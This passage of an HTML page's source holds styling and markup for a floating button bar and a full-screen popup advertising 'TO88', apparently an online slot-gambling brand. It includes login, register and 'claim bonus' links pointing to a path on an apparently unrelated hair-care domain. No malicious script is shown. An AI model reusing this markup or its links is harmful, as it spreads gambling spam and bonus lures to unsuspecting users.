15396 15397 <style> 15398 .footer-floating-newbie { 15399 position: fixed; 15400 bottom: 18px; 15401 left: 50%; 15402 transform: translateX(-50%); 15403 width: 100%; 15404 max-width: 1700px; 15405 display: flex; 15406 gap: 14px; 15407 padding: 16px 22px; 15408 background: #000000; 15409 backdrop-filter: blur(10px); 15410 border-radius: 20px; 15411 border: 2px solid rgb(255 255 255 / 50%); 15412 box-shadow: 0 0 30px #bfbfbf; 15413 z-index: 999; 15414 } 15415 15416 /* BUTTON BASE (EQUAL SIZE) */ 15417 .login-button { 15418 flex: 1; 15419 min-width: 0; 15420 display: flex; 15421 align-items: center; 15422 justify-content: center; 15423 gap: 8px; 15424 padding: 12px 10px; 15425 font-size: 14px; 15426 font-weight: bold; 15427 color: #000000; 15428 background: linear-gradient(180deg, #1c552c, #30c85b); 15429 border-radius: 32px; 15430 border: 2px solid #ffffff; 15431 cursor: pointer; 15432 transition: all 0.3s ease; 15433 box-shadow: 0 0 14px rgb(255 255 255 / 60%); 15434 animation: floatUpDown 3s ease-in-out infinite; 15435 text-decoration: none; 15436 user-select: none; 15437 white-space: nowrap; 15438 } 15439 15440 /* ICON */ 15441 .login-button img { 15442 width: 18px; 15443 height: 18px; 15444 flex-shrink: 0; 15445 filter: drop-shadow(0 0 5px rgba(255, 0, 0, 0.8)); 15446 } 15447 15448 /* FLOAT DELAY */ 15449 .login-button.login { 15450 animation-delay: 0.3s; 15451 } 15452 15453 .login-button.daftar { 15454 animation-delay: 0.6s; 15455 } 15456 15457 .login-button.link { 15458 animation-delay: 0.9s; 15459 } 15460 15461 .login-button.chat { 15462 animation-delay: 1.2s; 15463 } 15464 15465 /* HOVER GLOW */ 15466 .login-button:hover { 15467 background: #000000; 15468 box-shadow: 15469 0 0 15px #000000, 15470 0 0 30px #000000, 15471 0 0 50px #000; 15472 transform: translateY(-6px) scale(1.05); 15473 } 15474 15475 /* ACTIVE BLUE */ 15476 .login-button:active { 15477 background: linear-gradient(135deg, #000, #000000); 15478 color: #000; 15479 border-color: #000; 15480 box-shadow: 15481 0 0 18px #000, 15482 0 0 35px #000; 15483 } 15484 15485 /* FLOAT ANIMATION */ 15486 @keyframes floatUpDown { 15487 0% { 15488 transform: translateY(0); 15489 } 15490 15491 50% { 15492 transform: translateY(-8px); 15493 } 15494 15495 100% { 15496 transform: translateY(0); 15497 } 15498 } 15499 15500 /* RESPONSIVE */ 15501 @media (max-width: 1024px) { 15502 .footer-floating-newbie { 15503 flex-wrap: wrap; 15504 } 15505 15506 .login-button { 15507 flex: 1 1 calc(50% - 10px); 15508 } 15509 } 15510 15511 @media (max-width: 600px) { 15512 .login-button { 15513 flex: 1 1 100%; 15514 font-size: 13px; 15515 padding: 10px 12px; 15516 } 15517 15518 .login-button img { 15519 width: 16px; 15520 height: 16px; 15521 } 15522 } 15523 </style> 15524 <div class="footer-floating-newbie"> 15525 <a href="https://www.entretiendecheveuxafro.com/to88/" class="login-button promo" rel="nofollow noopener"> 15526 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp" alt="PROMO"> PROMO </a> 15527 <a href="https://www.entretiendecheveuxafro.com/to88/" class="login-button login" rel="nofollow noopener"> 15528 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp" alt="LOGIN"> LOGIN </a> 15529 <a href="https://www.entretiendecheveuxafro.com/to88/" class="login-button daftar" rel="nofollow noopener"> 15530 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp" alt="DAFTAR"> DAFTAR </a> 15531 <a href="https://www.entretiendecheveuxafro.com/to88/" class="login-button link" rel="nofollow noopener"> 15532 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp" alt="Link Alternatif"> CLAIM BONUS </a> 15533 <a href="https://www.entretiendecheveuxafro.com/to88/" class="login-button chat" rel="nofollow noopener"> 15534 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790222249/icoto88.webp" alt="WHATSAPP"> WHATSAPP </a> 15535 </div> 15536 <style> 15537 .SLOT { 15538 margin: 0; 15539 padding: 0; 15540 font-family: 'Playfair Display', 'Segoe UI', serif; 15541 background-color: transparent; 15542 color: #000000; 15543 overflow: hidden; 15544 } 15545 15546 .popup-overlay { 15547 position: fixed; 15548 top: 0; 15549 left: 0; 15550 width: 100vw; 15551 height: 100vh; 15552 background: rgba(0, 0, 0, 0.4); 15553 backdrop-filter: blur(3px); 15554 -webkit-backdrop-filter: blur(3px); 15555 display: flex; 15556 justify-content: center; 15557 align-items: center; 15558 z-index: 9999; 15559 } 15560 15561 .popup-container { 15562 position: relative; 15563 width: 90%; 15564 max-width: 420px; 15565 background: linear-gradient(145deg, rgb(135 4 4 / 90%), rgb(87 7 7 / 85%)); 15566 border-radius: 20px; 15567 overflow: hidden; 15568 text-align: center; 15569 animation: rotateScaleIn 0.8s cubic-bezier(0.175, 0.885, 0.32, 1.275), goldPulse 3.5s infinite ease-in-out; 15570 box-shadow: 0 20px 40px rgba(0, 0, 0, 0.7), 0 0 0 1px rgb(227 227 227 / 20%); 15571 padding-bottom: 20px; 15572 border: 1px solid rgb(255 255 255 / 15%); 15573 backdrop-filter: blur(10px); 15574 -webkit-backdrop-filter: blur(10px); 15575 } 15576 15577 /* ??????????????????????? Emas berdenyut yang mewah */ 15578 @keyframes goldPulse { 15579 15580 0%, 15581 100% { 15582 box-shadow: 0 20px 40px rgba(0, 0, 0, 0.7), 0 0 20px rgb(255 255 255 / 30%), 0 0 0 1px rgb(255 255 255 / 20%); 15583 } 15584 15585 50% { 15586 box-shadow: 0 20px 40px rgba(0, 0, 0, 0.7), 0 0 30px rgb(255 255 255 / 50%), 0 0 0 1px rgb(255 255 255 / 30%); 15587 } 15588 } 15589 15590 /* ????????????? Shiny diagonal emas yang elegan */ 15591 .popup-container::before { 15592 content: ""; 15593 position: absolute; 15594 top: -100%; 15595 left: -100%; 15596 width: 200%; 15597 height: 200%; 15598 background: linear-gradient(62deg, rgba(255, 255, 255, 0) 45%, rgb(255 255 255 / 15%) 50%, rgb(255 255 255 / 0%) 55%); 15599 animation: shineDiagonal 5s linear infinite; 15600 z-index: 2; 15601 pointer-events: none; 15602 } 15603 15604 @keyframes shineDiagonal { 15605 0% { 15606 transform: translate(-100%, -100%) rotate(30deg); 15607 } 15608 15609 100% { 15610 transform: translate(100%, 100%) rotate(30deg); 15611 } 15612 } 15613 15614 .popup-image { 15615 width: 100%; 15616 display: block; 15617 border-bottom: 1px solid rgb(255 255 255 / 15%); 15618 } 15619 15620 .clk-btn-sgp { 15621 width: 97%; 15622 display: grid; 15623 grid-template-columns: repeat(2, 1fr); 15624 gap: 15px; 15625 font-family: 'Poppins', sans-serif; 15626 font-weight: 700; 15627 padding: 20px; 15628 position: relative; 15629 overflow: hidden; 15630 } 15631 15632 /* Gold Accent Line */ 15633 .clk-btn-sgp::before { 15634 content: ''; 15635 position: absolute; 15636 top: 50%; 15637 left: 50%; 15638 transform: translate(-50%, -50%); 15639 width: calc(100% - 30px); 15640 height: 2px; 15641 background: linear-gradient(90deg, 15642 transparent, 15643 #000000, 15644 #ffd700, 15645 #000000, 15646 transparent); 15647 opacity: 0.4; 15648 filter: blur(1px); 15649 } 15650 15651 .clk-btn-sgp a { 15652 text-align: center; 15653 text-transform: uppercase; 15654 letter-spacing: 1.5px; 15655 padding: 16px 12px; 15656 margin: 0; 15657 border-radius: 14px; 15658 transition: all 0.4s cubic-bezier(0.23, 1, 0.32, 1); 15659 position: relative; 15660 overflow: hidden; 15661 backdrop-filter: blur(10px); 15662 -webkit-backdrop-filter: blur(10px); 15663 border: 2px solid transparent; 15664 box-shadow: 0 8px 0px #000000; 15665 clip-path: polygon(var(--blade-cut) 0%, 100% 0%, 100% calc(100% - var(--blade-cut)), calc(100% - var(--blade-cut)) 100%, 0% 100%, 0% var(--blade-cut)); 15666 z-index: 1; 15667 } 15668 15669 /* Gold Border Effect */ 15670 .clk-btn-sgp a::after { 15671 content: ''; 15672 position: absolute; 15673 top: -2px; 15674 left: -2px; 15675 right: -2px; 15676 bottom: -2px; 15677 background: linear-gradient(45deg, 15678 #000000, 15679 #000000, 15680 #ffd700, 15681 #000000, 15682 #000000); 15683 border-radius: 16px; 15684 z-index: -1; 15685 opacity: 0; 15686 transition: opacity 0.3s ease; 15687 } 15688 15689 .clk-btn-sgp a:hover::after { 15690 opacity: 1;
15691 } 15692 15693 .clk-btn-sgp a:hover { 15694 transform: translateY(-6px) scale(1.03); 15695 border-color: #ffd700; 15696 } 15697 15698 /* LOGIN BUTTON - Black & Gold */ 15699 .login { 15700 color: #ffbb00 !important; 15701 background: linear-gradient(145deg, #535050, #000000); 15702 border: 2px solid #000000; 15703 text-shadow: 0 2px 4px rgba(0, 0, 0, 0.5); 15704 position: relative; 15705 } 15706 15707 .login::before { 15708 position: absolute; 15709 left: 15px; 15710 top: 50%; 15711 transform: translateY(-50%); 15712 font-size: 18px; 15713 opacity: 0.7; 15714 transition: all 0.3s ease; 15715 filter: drop-shadow(0 0 3px #ffd700); 15716 } 15717 15718 .login:hover { 15719 background: linear-gradient(145deg, #222222, #1a1a1a); 15720 box-shadow: 15721 0 12px 0px #000000, 15722 0 20px 40px rgba(212, 175, 55, 0.4), 15723 0 0 30px rgba(255, 215, 0, 0.2); 15724 color: #fff8dc !important; 15725 border-color: #ffd700; 15726 } 15727 15728 .login:hover::before { 15729 opacity: 1; 15730 transform: translateY(-50%) rotate(15deg); 15731 filter: drop-shadow(0 0 8px #ffd700); 15732 } 15733 15734 /* REGISTER BUTTON - Gold & Black */ 15735 .register { 15736 color: #ffffff !important; 15737 background: linear-gradient(145deg, #000000, #000000); 15738 border: 2px solid #000000; 15739 text-shadow: 0 1px 2px rgba(255, 255, 255, 0.3); 15740 position: relative; 15741 } 15742 15743 .register::before { 15744 position: absolute; 15745 right: 15px; 15746 top: 50%; 15747 transform: translateY(-50%); 15748 font-size: 18px; 15749 opacity: 0.7; 15750 transition: all 0.3s ease; 15751 } 15752 15753 .register:hover { 15754 background: linear-gradient(145deg, #ffd700, #000000); 15755 box-shadow: 15756 0 12px 0px #000000, 15757 0 20px 40px rgba(212, 175, 55, 0.5), 15758 0 0 35px rgba(255, 215, 0, 0.3); 15759 color: #ffffff !important; 15760 border-color: #000000; 15761 } 15762 15763 .register:hover::before { 15764 opacity: 1; 15765 transform: translateY(-50%) scale(1.2) rotate(360deg); 15766 filter: drop-shadow(0 0 5px #ea711c); 15767 } 15768 15769 /* Button Text Container */ 15770 .clk-btn-sgp a span { 15771 display: inline-block; 15772 transition: transform 0.3s ease; 15773 } 15774 15775 .clk-btn-sgp a:hover span { 15776 transform: translateX(3px); 15777 } 15778 15779 /* Responsive Design */ 15780 @media (max-width: 768px) { 15781 .clk-btn-sgp { 15782 grid-template-columns: 1fr; 15783 gap: 12px; 15784 } 15785 15786 .clk-btn-sgp a { 15787 padding: 18px 12px; 15788 } 15789 15790 .login::before, 15791 .register::before { 15792 position: relative; 15793 left: 0; 15794 right: 0; 15795 display: inline-block; 15796 margin-right: 10px; 15797 transform: none; 15798 top: 0; 15799 } 15800 15801 .login:hover::before, 15802 .register:hover::before { 15803 transform: none; 15804 } 15805 } 15806 15807 /* Subtle Glow Animation */ 15808 @keyframes subtleGlow { 15809 15810 0%, 15811 100% { 15812 box-shadow: 15813 0 15px 35px rgba(0, 0, 0, 0.6), 15814 inset 0 1px 0 rgba(255, 255, 255, 0.1); 15815 } 15816 15817 50% { 15818 box-shadow: 15819 0 15px 35px rgba(0, 0, 0, 0.6), 15820 inset 0 1px 0 rgba(255, 255, 255, 0.1), 15821 0 0 20px rgba(212, 175, 55, 0.15); 15822 } 15823 } 15824 15825 .info-table { 15826 width: 90%; 15827 margin: 20px auto; 15828 border-collapse: collapse; 15829 color: #eee; 15830 font-size: 14px; 15831 position: relative; 15832 z-index: 3; 15833 background: rgba(0, 0, 0, 0.3); 15834 border-radius: 10px; 15835 overflow: hidden; 15836 box-shadow: 0 5px 15px rgba(0, 0, 0, 0.3); 15837 } 15838 15839 .info-table th { 15840 background: linear-gradient(62deg, #000000, #b8941f); 15841 padding: 14px 10px; 15842 font-size: 15px; 15843 color: #000; 15844 border: none; 15845 font-weight: 700; 15846 letter-spacing: 0.8px; 15847 text-transform: uppercase; 15848 } 15849 15850 .info-table td { 15851 padding: 12px; 15852 border-bottom: 1px solid rgba(212, 175, 55, 0.1); 15853 text-align: left; 15854 } 15855 15856 .info-table tr:last-child td { 15857 border-bottom: none; 15858 } 15859 15860 .popup-footer { 15861 font-size: 13px; 15862 color: #ffbb00; 15863 padding: 20px 10px; 15864 position: relative; 15865 z-index: 3; 15866 line-height: 1.6; 15867 font-family: 'Playfair Display', serif; 15868 } 15869 15870 @keyframes rotateScaleIn { 15871 0% { 15872 opacity: 0; 15873 transform: scale(0.3) rotate(-10deg); 15874 } 15875 15876 50% { 15877 transform: scale(1.05) rotate(2deg); 15878 } 15879 15880 100% { 15881 opacity: 1;
15882 transform: scale(1) rotate(0deg); 15883 } 15884 } 15885 15886 /* Efek partikel emas */ 15887 .gold-particle { 15888 position: absolute; 15889 background: radial-gradient(circle, rgba(255, 215, 0, 0.8) 0%, rgba(212, 175, 55, 0.4) 100%); 15890 border-radius: 50%; 15891 pointer-events: none; 15892 z-index: 1; 15893 animation: floatGold 10s infinite ease-in-out; 15894 box-shadow: 0 0 10px rgba(255, 215, 0, 0.6); 15895 } 15896 15897 @keyframes floatGold { 15898 15899 0%, 15900 100% { 15901 transform: translateY(0) translateX(0); 15902 opacity: 0; 15903 } 15904 15905 10% { 15906 opacity: 0.8; 15907 } 15908 15909 90% { 15910 opacity: 0.8; 15911 } 15912 15913 100% { 15914 transform: translateY(-120px) translateX(40px); 15915 opacity: 0; 15916 } 15917 } 15918 15919 /* Efek border emas mewah */ 15920 .luxury-border { 15921 position: absolute; 15922 top: 0; 15923 left: 0; 15924 right: 0; 15925 bottom: 0; 15926 border: 1px solid rgba(212, 175, 55, 0.2); 15927 border-radius: 20px; 15928 pointer-events: none; 15929 z-index: 4; 15930 background: linear-gradient(62deg, 15931 rgba(212, 175, 55, 0) 0%, 15932 rgba(212, 175, 55, 0.1) 50%, 15933 rgba(212, 175, 55, 0) 100%); 15934 } 15935 15936 /* Tombol Close */ 15937 .close-btn { 15938 position: absolute; 15939 top: 15px; 15940 right: 15px; 15941 width: 32px; 15942 height: 32px; 15943 background: rgba(0, 0, 0, 0.5); 15944 border-radius: 50%; 15945 display: flex; 15946 justify-content: center; 15947 align-items: center; 15948 cursor: pointer; 15949 z-index: 10; 15950 transition: all 0.3s ease; 15951 border: 1px solid rgba(212, 175, 55, 0.3); 15952 } 15953 15954 .close-btn:hover { 15955 background: rgba(212, 175, 55, 0.8); 15956 transform: rotate(90deg); 15957 } 15958 15959 .close-btn::before, 15960 .close-btn::after { 15961 content: ''; 15962 position: absolute; 15963 width: 16px; 15964 height: 2px; 15965 background: #000000; 15966 } 15967 15968 .close-btn::before { 15969 transform: rotate(45deg); 15970 } 15971 15972 .close-btn::after { 15973 transform: rotate(-45deg); 15974 } 15975 15976 /* Responsif untuk layar kecil */ 15977 @media (max-width: 480px) { 15978 .popup-container { 15979 width: 95%; 15980 max-width: 350px; 15981 } 15982 15983 .popup-buttons a { 15984 font-size: 14px; 15985 padding: 16px 0; 15986 } 15987 15988 .info-table { 15989 font-size: 13px; 15990 } 15991 15992 .popup-footer { 15993 font-size: 12px; 15994 } 15995 15996 .close-btn { 15997 width: 28px; 15998 height: 28px; 15999 } 16000 } 16001 </style> 16002 <div class="popup-overlay" id="popupOverlay"> 16003 <div class="popup-container"> 16004 <!-- Tombol Close --> 16005 <div class="close-btn" onclick="closePopup()"></div> 16006 <!-- Partikel emas untuk efek elegan --> 16007 <div class="gold-particle" style="width: 10px; height: 10px; top: 15%; left: 12%; animation-delay: 0s;"></div> 16008 <div class="gold-particle" style="width: 8px; height: 8px; top: 35%; left: 88%; animation-delay: 1.5s;"></div> 16009 <div class="gold-particle" style="width: 12px; height: 12px; top: 65%; left: 18%; animation-delay: 3s;"></div> 16010 <div class="gold-particle" style="width: 6px; height: 6px; top: 25%; left: 75%; animation-delay: 4.5s;"></div> 16011 <div class="gold-particle" style="width: 9px; height: 9px; top: 80%; left: 60%; animation-delay: 6s;"></div> 16012 <!-- Border mewah --> 16013 <div class="luxury-border"></div> 16014 <div class="SLOT"> 16015 <img src="https://res.cloudinary.com/t04uaud0/image/upload/v1790674170/bloggamer.webp" alt="Popup Banner" class="popup-image"> 16016 <div class="rjb-slot-btn"> 16017 <a href="https://www.entretiendecheveuxafro.com/to88/" rel="nofollow noreferrer" class="login">LOGIN</a> 16018 <a href="https://www.entretiendecheveuxafro.com/to88/" rel="nofollow noreferrer" class="register">DAFTAR</a> 16019 </div> 16020 <style> 16021 .rjb-slot-btn { 16022 display: grid; 16023 grid-template-columns: repeat(2, 1fr); 16024 gap: 15px; 16025 font-weight: 700 16026 } 16027 16028 .rjb-slot-btn a { 16029 text-align: center; 16030 text-decoration: none; 16031 border-radius: 12px; 16032 padding: 15px 10px; 16033 position: relative; 16034 overflow: hidden; 16035 transition: all .3s ease; 16036 box-shadow: 0 4px 15px rgba(0, 0, 0, 0.3) 16037 } 16038 16039 .rjb-slot-btn a:hover { 16040 transform: translateY(-3px); 16041 box-shadow: 0 8px 25px rgb(255, 255, 255) 16042 } 16043 16044 .rjb-slot-btn a::before { 16045 content: ""; 16046 position: absolute; 16047 top: 0; 16048 left: -100%; 16049 width: 100%; 16050 height: 100%; 16051 background: linear-gradient(90deg, transparent, rgb(43 43 43), transparent); 16052 transition: left .5s ease 16053 } 16054 16055 .rjb-slot-btn a:hover::before { 16056 left: 100% 16057 } 16058 16059 .login, 16060 .login-button { 16061 color: #ffffff; 16062 background: linear-gradient(62deg, #000000 0%, #000000 25%, #000000 50%, #000000 75%, #000000 100%); 16063 background-size: 200% 200%; 16064 border: 2px solid #ffffff; 16065 animation: gradientShift 3s ease infinite 16066 } 16067 16068 .register, 16069 .register-button { 16070 color: #ffffff; 16071 background: linear-gradient(62deg, #000000 0%, #000000 25%, #000000 50%, #000000 75%, #000000 75%, #000000 100%); 16072 background-size: 200% 200%; 16073 border: 2px solid #ffffff; 16074 animation: gradientShift 3s ease infinite; 16075 animation-delay: 1.5s 16076 } 16077 16078 @keyframes gradientShift { 16079 0% { 16080 background-position: 0% 50% 16081 } 16082 16083 50% { 16084 background-position: 100% 50% 16085 } 16086 16087 100% { 16088 background-position: 0% 50% 16089 } 16090 } 16091 16092 .rjb-slot-btn a:active { 16093 transform: translateY(1px); 16094 box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3) 16095 } 16096 </style> 16097 <div class="popup-footer"> TO88 - Blog Komunitas Pencinta Game Online Berbagi Trik dan Informasi<br>
16098 <span style="color: #ffffff; font-weight: 600; text-shadow: 0 0 5px rgb(0 0 0 / 50%);">© COPYRIGHT 2026 To88.</span> 16099 </div> 16100 </div> 16101 </div> 16102 </div> 16103
16103<script> 16104 function closePopup() { 16105 const popupOverlay = document.getElementById('popupOverlay'); 16106 popupOverlay.style.opacity = '0'; 16107 popupOverlay.style.transition = 'opacity 0.3s ease'; 16108 setTimeout(() => { 16109 popupOverlay.style.display = 'none'; 16110 }, 300); 16111 } 16112 // Menutup popup ketika mengklik area di luar popup 16113 document.getElementById('popupOverlay').addEventListener('click', function(event) { 16114 if (event.target === this) { 16115 closePopup(); 16116 } 16117 }); 16118 </script>
16118 16119 </div> 16120 </div> 16121 </strong> 16122 </div><strong>
16123<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"995b51a1f560446e9b63254a1c24ee73","r":1,"spa":2}' crossorigin="anonymous"></script>
vendor: 2 bytes, line 16123
16123
16124<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v4bc70e2c01a94c73b74392e4234840661791215815920" integrity="sha512-L0ha0OXavK/8okipN9F8BtP84dg9DUhPERbBXzwI6dgTA55d2+yweo3pn5CSFYs45/r8md2+xvUPtTdvTNRfjA==" data-cf-beacon='{"version":"2024.11.0","token":"3c8cc8ea49ec4e078c02f8ff5f867c03","r":1,"spa":2}' crossorigin="anonymous"></script>
16124 16125</body> 16126 16127</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.